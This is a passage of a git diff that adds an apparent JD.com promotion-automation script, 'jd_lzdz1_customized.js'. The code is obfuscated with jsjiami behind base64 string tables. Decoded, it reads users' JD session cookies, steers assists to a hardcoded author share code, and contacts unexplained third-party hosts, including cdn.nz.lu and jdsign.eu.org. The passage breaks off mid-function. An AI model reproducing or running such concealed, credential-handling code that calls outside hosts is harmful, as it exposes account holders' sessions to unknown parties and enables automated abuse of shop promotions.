错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_customized.js b/jd_lzdz1_customized.js new file mode 100644 index 0000000..98318e2 --- /dev/null +++ b/jd_lzdz1_customized.js @@ -0,0 +1,6 @@ +/* +好酒不见 食分想念 +*/ +const $ = new Env("好酒不见 食分想念"); +var _0xod6='jsjiami.com.v6',_0xod6_=['‮_0xod6'],_0x5584=[_0xod6,'aW50ZXJlc3RzSW5mbw==','VEtOcVc=','Z2V0','bG9nRXJy','cmFkUGE=','bHpkejEtaXN2LmlzdmpjbG91ZC5jb20=','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS8=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpLw==','eXJwdnI=','Rmh5eG0=','QXVoWWs=','S0pOaFU=','ZGl2Wm0=','aVZ2R2w=','cFd4c0k=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','UVZCU1I=','QUpock4=','S0FnS3g=','SU1OY2k=','RFdGRVk=','Y2NlT0Y=','U2V0LUNvb2tpZQ==','ZE1pd3U=','dEZEYmY=','c0xxVUM=','V2NkVW4=','Q0hxUlU=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9jdXN0b21lci9nZXRNeVBpbmc=','S2xobUM=','S1hjaGs=','UFBqelg=','amVQaUg=','UHhFdEw=','UUZXY0I=','bXhkTXE=','cmdxV0k=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUCZyaXNrVHlwZT0x','WHJBckY=','R3RGbVU=','UWNjRGY=','a25wb1k=','cXh2bFo=','WE5WZWw=','SHlvclk=','a2lCcE8=','bWhlSW8=','ZEFYc00=','bWp2UWk=','dEVLS0k=','WklmTEw=','SmF6SUo=','Y29LaEg=','YkpLVWE=','UFJQVW4=','RkhHa0c=','dmJLaGw=','R25kcnk=','Y0lCeXk=','cHBiV2I=','cVFnQVE=','VWtOY1g=','ZlBEb0o=','R3hGY1U=','Q1pickY=','VnNqS0E=','amlrd1E=','b3RicFI=','aURIZHM=','VWVFa3I=','cnl1alg=','S3JkcWQ=','aE1yZno=','UmtSS0I=','RWNvU1g=','YXNrUVY=','WHNmYlQ=','bkVwc3M=','QUJrd2o=','dWd6VGo=','Zmxvb3I=','cmFuZG9t','alhMdGc=','aXdnUW0=','dkVmWHg=','Ullqcmk=','T09XaXU=','U0V2Q1k=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','aWJFeEQ=','Tk9NanQ=','U0lHTl9VUkw=','5L2g5aW977ya','O0FVVEhfQ19VU0VSPQ==','ZXJyb3JNZXNzYWdl','QVpQRnM=','WXd4a24=','YmdhZkM=','UXJjZE4=','dUJyWWc=','WkJ1ZW0=','R2NTVmY=','dlhNQ2k=','a1hYcFY=','aVBuV1g=','am1SZWs=','YUNSZXA=','aVNYZE0=','WEhmelQ=','dGhRQXI=','SU9vT0I=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','WkNqZEE=','SVRIRWU=','cXp5cFU=','c3VjY2Vzcw==','SkRfVVNFUl9BR0VOVA==','UE1rT0E=','SGFTd1c=','VVNFUl9BR0VOVA==','T2JFak4=','TEFLU0M=','bXV0T1c=','UUJIQnY=','Zllob20=','WkRMVEg=','ck1RanU=','U0tpYXo=','Z0R0WHg=','V1dOeFY=','eGp5U1o=','VVFmeHk=','Vk9xeWk=','anNsdUk=','SE9mT3o=','aFBWbG4=','bFhBZlU=','bFpuV2I=','SVhZWUU=','YmluZFdpdGhWZW5kZXJtZXNzYWdl','bWVzc2FnZQ==','SmNranc=','TlBvTGk=','TmVCdUY=','SVZJekU=','bGFsR1Y=','RVlySW0=','dW1PdWk=','cmVwbGFjZQ==','d0VndXM=','cnF6SnA=','Y3BtalY=','a2NLcFQ=','dEphWFo=','d29XZUg=','ckxmTGs=','ZHVVbWg=','TEtPeWg=','UnRCYmQ=','Y29kZQ==','VGlEQ20=','V2JjUWo=','dWlrZ24=','RnRSVm8=','T1htTWc=','MTAwMQ==','elFIclk=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','Ki8q','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','WnFsR24=','bk5YRE0=','Qkt2T1k=','R294VHo=','QUh2Rmg=','ck9mdkU=','UHlrWlM=','cUFJTnY=','RUp4QVU=','ZUx4VHM=','eWNFYlI=','eHRFbUE=','bGRpa0E=','T092YlY=','eHVtV1A=','cmV0Y29kZQ==','YXFlc0E=','b3p2T04=','V0hvVWY=','aGFzT3duUHJvcGVydHk=','bmdVc3A=','SEpEaU4=','R2dmaGc=','eUhsbEw=','ZXhmcG0=','TEJTdHk=','YXBpLm0uamQuY29t','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','bkxRQnA=','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','T3R1U0Y=','UUFxckc=','TFFkUWQ=','Y1pmeWQ=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','ekF6b2c=','d1ZXV2I=','WHhaR1E=','cHZZVEs=','VnpuZmU=','UmpzcW0=','QnFQUHc=','SU9QZ2I=','VlRWanE=','TUZ0Z0s=','d2pmWno=','U3NRRWU=','Q2tNaVc=','YmluZFdpdGhWZW5kZXI=','Y0FwZnE=','eUVVTGM=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj8=','eW1aV1A=','V3RLQ1c=','RFp2Y1I=','WHBtaXM=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','c1RLWUo=','QXdtUHI=','R0VqaXU=','dU5VRHI=','YWFlRUo=','Z1BMY3E=','aWtteHA=','a2dZeng=','RkFaV1g=','SVVkU3U=','a0xyc2k=','VEFrYmg=','VHFTTlM=','OGFkZmI=','amRfc2hvcF9tZW1iZXI=','OS4yLjA=','amRzaWduLmV1Lm9yZw==','cnB0UWs=','QmtPaGk=','bVF4bXE=','T0NxTW8=','UlBzaXo=','Rm5ScXA=','SnByV1I=','S3padE4=','TE9LZkI=','c01ISUI=','QlRLTW0=','aFFWUXc=','Rm5xaGk=','Q21CS1U=','V0x5bHc=','UXZISmo=','aHR0cHM6Ly9jZG4ubnoubHUvZ2V0aDVzdA==','Y2lrbEE=','ZFZFUms=','YXBwbHk=','Z2J6RlA=','T2dmSks=','bFBhRng=','dmdHT24=','SlFZc00=','UFVpdlY=','UVZoRnU=','WnhQT0I=','SkV2cGk=','aXN2T2JmdXNjYXRvcg==','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','eUlSVkQ=','TkNpdFo=','a2RneXA=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','VVJhaWo=','U2xMeUE=','dWJtaGM=','TXZpb1U=','eXBIZkQ=','SUFEam0=','V05Vdnk=','Q05tbUk=','TW52VEI=','c2dwbU8=','T29JRmc=','UWFSWUE=','bnBpaHY=','TVhNbWo=','WmxkaWw=','VE9lV24=','UldSTXY=','bGpTQnI=','YVRmWVQ=','YkJHb3c=','cFJCc28=','ZFp5c3U=','RnpVY20=','YnlzTnk=','TEpYR0g=','S1pDZ3Y=','UE9PSWs=','U2dyUXU=','VlNDWFA=','S1l1aWg=','TEZHaWU=','aHR0cHM6Ly9jZG4ubnoubHUvZGRv','UlRwa08=','R3llVWk=','Y0NMWU4=','R3ppbE8=','SUxWWUQ=','aXNOb2Rl','Li9qZENvb2tpZS5qcw==','Li9zZW5kTm90aWZ5','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llc0pE','cGFyc2U=','bWFw','Y29va2ll','cmV2ZXJzZQ==','Q29va2llSkQy','Q29va2llSkQ=','ZmlsdGVy','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','WnpEWkY=','dEt6clc=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','YjFkYTY4MDcyY2MyNDk1ZTk1ZjE1M2FkMDc3YzM4MTY=','ZGVlZmExNGVmYjczNGUyZmI0YTRkMzVkNDgwNjE1MjE=','MTAwMDA4NjA4NQ==','T2VaQkI=','aUhmZlI=','5pyJ54K55YS/5pS26I63','Z2V0QXV0aG9yQ29kZUxpc3RlcnI=','bXNn','bmFtZQ==','Z2xQYlo=','RlB3Z1c=','RlVVUkE=','bGVuZ3Ro','emNmWUc=','aVpKVW4=','VXNlck5hbWU=','WGRzYUY=','bWF0Y2g=','aW5kZXg=','SXpiTXU=','aXNMb2dpbg==','bmlja05hbWU=','WlBKYkc=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','ZkZzdFE=','bU1tYUc=','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','YmVhbg==','QURJRA==','VEtjUEw=','cGRlQ2c=','VVVJRA==','RkF3eHo=','S1hseU8=','RE5nck4=','YXV0aG9yQ29kZQ==','WkRrWXU=','YXV0aG9yTnVt','aHZJTXM=','cmFuZG9tQ29kZQ==','YVFzbmg=','YWN0aXZpdHlJZA==','alN0WUc=','YWN0aXZpdHlTaG9wSWQ=','Y3FKZEo=','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2pvaW5Db21tb24vYWN0aXZpdHkv','P2FjdGl2aXR5SWQ9','JnNoYXJlVXVpZD0=','U2hrWHQ=','JmFkc291cmNlPSZzaGFyZXVzZXJpZDRtaW5pcGc9','c2VjcmV0UGlu','JnNob3BpZD0xMDAwMDA0MDY1JmxuZz0wMC4wMDAwMDAmbGF0PTAwLjAwMDAwMCZzaWQ9JnVuX2FyZWE9','Y0J1c2E=','d2FpdA==','TUlaZWo=','Qm5udkg=','aVRIWWs=','c2VuZE5vdGlmeQ==','Zm9NRWw=','WWptSEo=','VUNaWmI=','cENYTUs=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','ZHovY29tbW9uL2dldFNpbXBsZUFjdEluZm9Wbw==','5Y675Yqp5YqbIC0+IA==','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','am9pbkNvbW1vbi9hY3Rpdml0eUNvbnRlbnQ=','5YWz5rOo5bqX6ZO6','am9pbkNvbW1vbi9kb1Rhc2s=','6I635Y+W5Y2h','am9pbkNvbW1vbi9hc3Npc3Q=','am9pbkNvbW1vbi90YXNrSW5mbw==','5Yqg5YWl5bqX6ZO65Lya5ZGY','Y1pEdHQ=','ZHJFcWc=','dG9rZW4=','b3BlbkNhcmRBY3Rpdml0eUlk','YWRkU2NvcmU=','b3BlblZlbmRlck51bQ==','S3RYSGc=','dUhGemo=','b2l1cGw=','eUFaeFk=','YWN0aXZpdHlJZD0=','eFFXc1o=','WlRUc1k=','b1dQZ1c=','WEJORGY=','dmVuZGVySWQ9','JmNvZGU9OTkmcGluPQ==','bmdPRHI=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9YXBwJmFkU291cmNlPQ==','SEZmYXQ=','dUpGYlc=','VG5sU2I=','JnBpbj0=','JnBpbkltZz0mbmljaz0=','cGlu','JmNqeXhQaW49JmNqaHlQaW49JnNoYXJlVXVpZD0=','cXJRU2k=','cmxiRmQ=','c012dWo=','UUtzVUE=','RkRLcGs=','dU9pWWo=','ZE9jZFo=','JnV1aWQ9','YWN0b3JVdWlk','a0Rzc1g=','JnRhc2tUeXBlPTIwJnRhc2tWYWx1ZT0=','bGxnalM=','WEdKUUE=','Tk9xZkw=','VlZFV2U=','cGluPQ==','R01SYUs=','dGFza0xpc3Q=','b3BlbkNhcmRMaXN0','YWxs','VFlBVUM=','b01lVmU=','TlNXSHo=','Zmh0cEc=','c3BsaXQ=','c3Vic3Ry','aW5kZXhPZg==','cE1DcU0=','b0NlRU0=','ZmpjYmc=','Yk51UkM=','b1BpQ0U=','5rKh5pyJ6I635Y+W5Yiw5a+55bqU55qE5Lu75Yqh44CCCg==','UkVhdUw=','RlVxTng=','amFhT3I=','b3BlblZlbmRlcklk','TXFhQ3E=','dmFsdWU=','Pj4+IOWOu+WKoOWFpQ==','RWtQT00=','dWVNd3k=','Y0lJcmc=','TW1Qb0Y=','c2xXbkQ=','Qk1aYXY=','ZXdNam0=','U0NqdWk=','Y3ZPdEI=','ZlhCZmo=','d3hBY3Rpb25Db21tb24vZ2V0VXNlckluZm8=','LS0tLS0tLS0tLS0tLS0tLS0tLQ==','QkdxUlM=','dXVpZA==','5rS75Yqo5bey57uP57uT5p2f','c2V0dGluZ0luZm8=','am9pbkNvbW1vbi9zdGFydERyYXc=','bGlua2dhbWUvc2lnbg==','b3BlbmNhcmQvYWRkQ2FydA==','bGlua2dhbWUvc2VuZEFsbENvdXBvbg==','aW50ZXJhY3Rpb24vd3JpdGUvd3JpdGVQZXJzb25JbmZv','bGlua2dhbWUvZHJhdw==','bGlua2dhbWUvZHJhdy9yZWNvcmQ=','am9pbkNvbW1vbi9hc3Npc3Qvc3RhdHVz','b3BlbmNhcmQvaGVscC9saXN0','dnpRRUw=','ZWlObVU=','ZkpBWW4=','cnNOdmg=','cG9zdA==','d09oSmk=','Z3pmcGI=','VUVKbUQ=','UGVhWWs=','V0t4TGY=','UHNVY3E=','SHpSbGY=','aktDcXY=','anFjbEs=','WkhqVkw=','cmVzdWx0','TmhjTWE=','UnhUcnU=','QlJhS2U=','amRBY3Rpdml0eUlk','ZGF0YQ==','dmVuZGVySWQ=','YWN0aXZpdHlUeXBl','d01aVUY=','ZUd0TGU=','aGFzRW5k','5byA5ZCv44CQ','YWN0aXZpdHlOYW1l','44CR5rS75Yqo','bkxHQmU=','Yll5R3o=','Z1hoTlk=','Z3dqd1Y=','YWN0b3JJbmZv','V1NQRVM=','dXNlckluZm8=','YmFzZUluZm8=','bmlja25hbWU=','clBJRFU=','akhJaWQ=','RGlvRHo=','b3BlbkNhcmRTdGF0dXM=','a1Zheko=','aE1UUkM=','d1FSWWs=','WXl0ZG0=','SFZoZ3Y=','T3FxQUI=','d3NObHM=','U3F3bEs=','b3BlbkNhcmRJbmZv','VHRPUnU=','c3RyaW5naWZ5','RmlIYlA=','cnlnRHY=','ZHliRmg=','aXJoUmo=','IGdldFNpZ24gQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','Y0NaRWk=','U05qQWc=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','YXNlSkQ=','c1lMVW0=','bFhoVE4=','WE1yeEU=','SWFhV1U=','c2F3Q2w=','RUdreW4=','a2JhelA=','ZWVBU1o=','eFdHdG8=','RUZlamU=','R0xHRmE=','WUltTno=','dVR2eVY=','VE9WdXE=','VVVHQUM=','dklBQ2E=','SFVzVlk=','akZGZWM=','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','Y2pMRkE=','R3pkcWE=','SVRpeXQ=','aW50ZXJlc3RzUnVsZUxpc3Q=','jnfsjiLaQmuif.cdYom.ghwv6QWuM=='];if(function(_0x36cd74,_0xa573be,_0x1ca8fa){function _0x10be56(_0x3cdd33,_0x4c0cb0,_0x36b84f,_0x1a213b,_0x222f37,_0x391124){_0x4c0cb0=_0x4c0cb0>>0x8,_0x222f37='po';var _0x5ad29a='shift',_0x536a4a='push',_0x391124='‮';if(_0x4c0cb0<_0x3cdd33){while(--_0x3cdd33){_0x1a213b=_0x36cd74[_0x5ad29a]();if(_0x4c0cb0===_0x3cdd33&&_0x391124==='‮'&&_0x391124['length']===0x1){_0x4c0cb0=_0x1a213b,_0x36b84f=_0x36cd74[_0x222f37+'p']();}else if(_0x4c0cb0&&_0x36b84f['replace'](/[nfLQufdYghwQWuM=]/g,'')===_0x4c0cb0){_0x36cd74[_0x536a4a](_0x1a213b);}}_0x36cd74[_0x536a4a](_0x36cd74[_0x5ad29a]());}return 0x1007b8;};return _0x10be56(++_0xa573be,_0x1ca8fa)>>_0xa573be^_0x1ca8fa;}(_0x5584,0x14e,0x14e00),_0x5584){_0xod6_=_0x5584['length']^0x14e;};function _0x2dd5(_0x321aba,_0x42ff6){_0x321aba=~~'0x'['concat'](_0x321aba['slice'](0x1));var _0x5248e8=_0x5584[_0x321aba];if(_0x2dd5['bcXIpO']===undefined&&'‮'['length']===0x1){(function(){var _0x44f584;try{var _0x35609b=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x44f584=_0x35609b();}catch(_0x5467e8){_0x44f584=window;}var _0x4e9563='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x44f584['atob']||(_0x44f584['atob']=function(_0x29d3a4){var _0x116d70=String(_0x29d3a4)['replace'](/=+$/,'');for(var _0x4baa1e=0x0,_0x2faba2,_0x42dced,_0x4f4685=0x0,_0x4dbb6c='';_0x42dced=_0x116d70['charAt'](_0x4f4685++);~_0x42dced&&(_0x2faba2=_0x4baa1e%0x4?_0x2faba2*0x40+_0x42dced:_0x42dced,_0x4baa1e++%0x4)?_0x4dbb6c+=String['fromCharCode'](0xff&_0x2faba2>>(-0x2*_0x4baa1e&0x6)):0x0){_0x42dced=_0x4e9563['indexOf'](_0x42dced);}return _0x4dbb6c;});}());_0x2dd5['wHAEGq']=function(_0x5899b8){var _0xf5c4e0=atob(_0x5899b8);var _0x574ed4=[];for(var _0x5e1a62=0x0,_0x17a74f=_0xf5c4e0['length'];_0x5e1a62<_0x17a74f;_0x5e1a62++){_0x574ed4+='%'+('00'+_0xf5c4e0['charCodeAt'](_0x5e1a62)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x574ed4);};_0x2dd5['FcMsPT']={};_0x2dd5['bcXIpO']=!![];}var _0x3c1fbf=_0x2dd5['FcMsPT'][_0x321aba];if(_0x3c1fbf===undefined){_0x5248e8=_0x2dd5['wHAEGq'](_0x5248e8);_0x2dd5['FcMsPT'][_0x321aba]=_0x5248e8;}else{_0x5248e8=_0x3c1fbf;}return _0x5248e8;};const jdCookieNode=$[_0x2dd5('‮0')]()?require(_0x2dd5('‮1')):'';const notify=$[_0x2dd5('‮0')]()?require(_0x2dd5('‮2')):'';let cookiesArr=[],cookie='',message='';let ownCode=null;let authorCodeList=[];if($[_0x2dd5('‮0')]()){Object[_0x2dd5('‫3')](jdCookieNode)[_0x2dd5('‫4')](_0x23d1c3=>{cookiesArr[_0x2dd5('‫5')](jdCookieNode[_0x23d1c3]);});if(process[_0x2dd5('‮6')][_0x2dd5('‫7')]&&process[_0x2dd5('‮6')][_0x2dd5('‫7')]===_0x2dd5('‮8'))console[_0x2dd5('‫9')]=()=>{};}else{let cookiesData=$[_0x2dd5('‮a')](_0x2dd5('‫b'))||'[]';cookiesData=JSON[_0x2dd5('‫c')](cookiesData);cookiesArr=cookiesData[_0x2dd5('‫d')](_0x267c17=>_0x267c17[_0x2dd5('‮e')]);cookiesArr[_0x2dd5('‮f')]();cookiesArr[_0x2dd5('‫5')](...[$[_0x2dd5('‮a')](_0x2dd5('‮10')),$[_0x2dd5('‮a')](_0x2dd5('‫11'))]);cookiesArr[_0x2dd5('‮f')]();cookiesArr=cookiesArr[_0x2dd5('‫12')](_0x399df6=>!!_0x399df6);}!(async()=>{var _0x10c690={'MIZej':_0x2dd5('‫13'),'foMEl':function(_0x3189e8){return _0x3189e8();},'UCZZb':function(_0x12aa51,_0x52a0c4){return _0x12aa51(_0x52a0c4);},'glPbZ':_0x2dd5('‮14'),'FPwgW':_0x2dd5('‮15'),'FUURA':function(_0x1a9e80,_0x17e0c7){return _0x1a9e80<_0x17e0c7;},'zcfYG':function(_0x20f176,_0x5af416){return _0x20f176===_0x5af416;},'iZJUn':_0x2dd5('‮16'),'XdsaF':function(_0x4bf0d5,_0x5487a7){return _0x4bf0d5(_0x5487a7);},'IzbMu':function(_0x46d4fe,_0x3e217b){return _0x46d4fe+_0x3e217b;},'ZPJbG':function(_0x51cc8d){return _0x51cc8d();},'fFstQ':function(_0x43efb3,_0x4d86a5){return _0x43efb3!==_0x4d86a5;},'mMmaG':_0x2dd5('‮17'),'TKcPL':function(_0x2e0405,_0x218fb0,_0x3d2549){return _0x2e0405(_0x218fb0,_0x3d2549);},'pdeCg':_0x2dd5('‫18'),'FAwxz':function(_0x3eb1a4,_0x400b5b){return _0x3eb1a4(_0x400b5b);},'KXlyO':_0x2dd5('‮19'),'DNgrN':_0x2dd5('‫1a'),'ZDkYu':function(_0x22622b,_0x10ae25,_0x97dfae){return _0x22622b(_0x10ae25,_0x97dfae);},'hvIMs':function(_0x503283,_0x5e6bb6,_0x32bb95){return _0x503283(_0x5e6bb6,_0x32bb95);},'aQsnh':function(_0x2cf1cf,_0x2810e6,_0x4be279){return _0x2cf1cf(_0x2810e6,_0x4be279);},'jStYG':_0x2dd5('‮1b'),'cqJdJ':_0x2dd5('‮1c'),'ShkXt':function(_0x390f4a,_0x417657){return _0x390f4a(_0x417657);},'cBusa':function(_0x37765c){return _0x37765c();},'BnnvH':function(_0x207280,_0x5639ce){return _0x207280!==_0x5639ce;},'iTHYk':_0x2dd5('‫1d'),'YjmHJ':_0x2dd5('‫1e'),'pCXMK':_0x2dd5('‮1f')};$[_0x2dd5('‮20')]=![];if(!cookiesArr[0x0]){$[_0x2dd5('‫21')]($[_0x2dd5('‮22')],_0x10c690[_0x2dd5('‮23')],_0x10c690[_0x2dd5('‮24')],{'open-url':_0x10c690[_0x2dd5('‮24')]});return;}for(let _0x5cb5eb=0x0;_0x10c690[_0x2dd5('‮25')](_0x5cb5eb,cookiesArr[_0x2dd5('‫26')]);_0x5cb5eb++){if(cookiesArr[_0x5cb5eb]){if(_0x10c690[_0x2dd5('‮27')](_0x10c690[_0x2dd5('‮28')],_0x10c690[_0x2dd5('‮28')])){cookie=cookiesArr[_0x5cb5eb];originCookie=cookiesArr[_0x5cb5eb];newCookie='';$[_0x2dd5('‮29')]=_0x10c690[_0x2dd5('‮2a')](decodeURIComponent,cookie[_0x2dd5('‮2b')](/pt_pin=(.+?);/)&&cookie[_0x2dd5('‮2b')](/pt_pin=(.+?);/)[0x1]);$[_0x2dd5('‮2c')]=_0x10c690[_0x2dd5('‫2d')](_0x5cb5eb,0x1);$[_0x2dd5('‮2e')]=!![];$[_0x2dd5('‫2f')]='';await _0x10c690[_0x2dd5('‮30')](checkCookie);console[_0x2dd5('‫9')](_0x2dd5('‮31')+$[_0x2dd5('‮2c')]+'】'+($[_0x2dd5('‫2f')]||$[_0x2dd5('‮29')])+_0x2dd5('‮32'));if(!$[_0x2dd5('‮2e')]){if(_0x10c690[_0x2dd5('‫33')](_0x10c690[_0x2dd5('‫34')],_0x10c690[_0x2dd5('‫34')])){$[_0x2dd5('‮20')]=![];}else{$[_0x2dd5('‫21')]($[_0x2dd5('‮22')],_0x2dd5('‫35'),_0x2dd5('‫36')+$[_0x2dd5('‮2c')]+'\x20'+($[_0x2dd5('‫2f')]||$[_0x2dd5('‮29')])+_0x2dd5('‫37'),{'open-url':_0x10c690[_0x2dd5('‮24')]});continue;}}$[_0x2dd5('‮38')]=0x0;$[_0x2dd5('‫39')]=_0x10c690[_0x2dd5('‫3a')](getUUID,_0x10c690[_0x2dd5('‫3b')],0x1);$[_0x2dd5('‫3c')]=_0x10c690[_0x2dd5('‮3d')](getUUID,_0x10c690[_0x2dd5('‮3e')]);authorCodeList=[_0x10c690[_0x2dd5('‮3f')]];$[_0x2dd5('‫40')]=ownCode?ownCode:authorCodeList[_0x10c690[_0x2dd5('‮41')](random,0x0,authorCodeList[_0x2dd5('‫26')])];$[_0x2dd5('‮42')]=''+_0x10c690[_0x2dd5('‫43')](random,0xf4240,0x98967f);$[_0x2dd5('‮44')]=_0x10c690[_0x2dd5('‮45')](random,0xf4240,0x98967f);$[_0x2dd5('‮46')]=_0x10c690[_0x2dd5('‫47')];$[_0x2dd5('‫48')]=_0x10c690[_0x2dd5('‫49')];$[_0x2dd5('‮4a')]=_0x2dd5('‫4b')+$[_0x2dd5('‮42')]+_0x2dd5('‮4c')+$[_0x2dd5('‮46')]+_0x2dd5('‮4d')+_0x10c690[_0x2dd5('‮4e')](encodeURIComponent,$[_0x2dd5('‫40')])+_0x2dd5('‮4f')+_0x10c690[_0x2dd5('‮4e')](encodeURIComponent,$[_0x2dd5('‮50')])+_0x2dd5('‫51');await _0x10c690[_0x2dd5('‫52')](member);await $[_0x2dd5('‫53')](0x7d0);}else{$[_0x2dd5('‫9')](_0x10c690[_0x2dd5('‫54')]);}}}if(_0x10c690[_0x2dd5('‫55')](message,'')){if($[_0x2dd5('‮0')]()){if(_0x10c690[_0x2dd5('‮27')](_0x10c690[_0x2dd5('‫56')],_0x10c690[_0x2dd5('‫56')])){await notify[_0x2dd5('‫57')]($[_0x2dd5('‮22')],message,'','\x0a');}else{_0x10c690[_0x2dd5('‫58')](resolve);}}else{if(_0x10c690[_0x2dd5('‫55')](_0x10c690[_0x2dd5('‮59')],_0x10c690[_0x2dd5('‮59')])){_0x10c690[_0x2dd5('‮5a')](resolve,data);}else{$[_0x2dd5('‫21')]($[_0x2dd5('‮22')],_0x10c690[_0x2dd5('‫5b')],message);}}}})()[_0x2dd5('‫5c')](_0x290ad9=>{$[_0x2dd5('‫9')]('','❌\x20'+$[_0x2dd5('‮22')]+_0x2dd5('‮5d')+_0x290ad9+'!','');})[_0x2dd5('‫5e')](()=>{$[_0x2dd5('‫5f')]();});async function member(){var _0x39f785={'pMCqM':function(_0x3322a9,_0x4d1b4e){return _0x3322a9+_0x4d1b4e;},'KtXHg':function(_0x5c421c){return _0x5c421c();},'uHFzj':function(_0x365904){return _0x365904();},'oiupl':function(_0x410426,_0x17c1ec,_0x2052aa,_0x3ce36f){return _0x410426(_0x17c1ec,_0x2052aa,_0x3ce36f);},'yAZxY':_0x2dd5('‮60'),'xQWsZ':function(_0x455cce,_0x256b4a){return 